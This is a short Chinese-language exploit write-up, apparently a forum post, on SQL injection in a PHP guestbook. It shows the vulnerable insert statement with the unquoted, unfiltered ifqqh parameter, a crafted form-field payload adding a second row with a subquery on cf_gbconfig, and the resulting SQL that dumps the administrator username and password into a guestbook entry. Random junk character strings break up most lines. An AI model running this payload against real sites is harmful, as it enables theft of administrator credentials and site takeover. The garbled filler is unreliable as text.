留言本注入。拿到帐号密码。前提知道程序源代码。在insert里面。构造了另外一句SQL。并且把帐号密码读出来。9 A4 y1 M% {+ I0 d% R0 r
* F7 b) ?+ S3 Z' Q( V$ifqqh=$_POST["ifqqh"];没有过滤。。。。。。。
: l4 [ G: W0 d% ?6 b9 |$sql=”insert into “.TABLE_PREFIX.”guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘”.$username.”‘,’”.$email.”‘,’”.$content.”‘,’”.$userip.”‘,’”.$systime.”‘,”.$ifshow.”,”.$ifqqh.”)”;$ifqqh没有用 ‘ 来包含。不受magic_quotes_gpc影响
; w$ U# }! d9 @2 v3 B( j1 y! H8 r7 b, b8 U
提交的时候把ifqqh的值改一下。变成9 `/ D9 [" F9 h' u6 ?5 Q
3 x; T! @& c; U( W
<input type=”text” id=”ifqqh” name=”ifqqh” value=”1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,1,1,0″ />2 t0 s. j, a$ P+ ^
: q c) J4 H3 g% c, @
这样SQL插入语句就变了.! ?2 i, h; F6 x# Z( o
% H8 A1 w* Y! A7 o) finsert into cf_guestbook(username,email,content,userip,systime,ifshow,ifqqh)values(‘qqq’,”,’msgmsg’,’127.0.0.1′,’2012-12-22 19:07:23′,1,1),(1,1,(SELECT concat(admin_user,0x2f,admin_pass) FROM cf_gbconfig),1,now(),1,0)
( s5 P( X: n/ w/ V, D% z/ B% j3 k
4 @& [& ]# L6 C: f2 P5 H: o _构造了另外一句SQL。并且把帐号密码读出来。& U+ b4 x6 |! z, {
- s6 A `9 \. ?( B1 G
|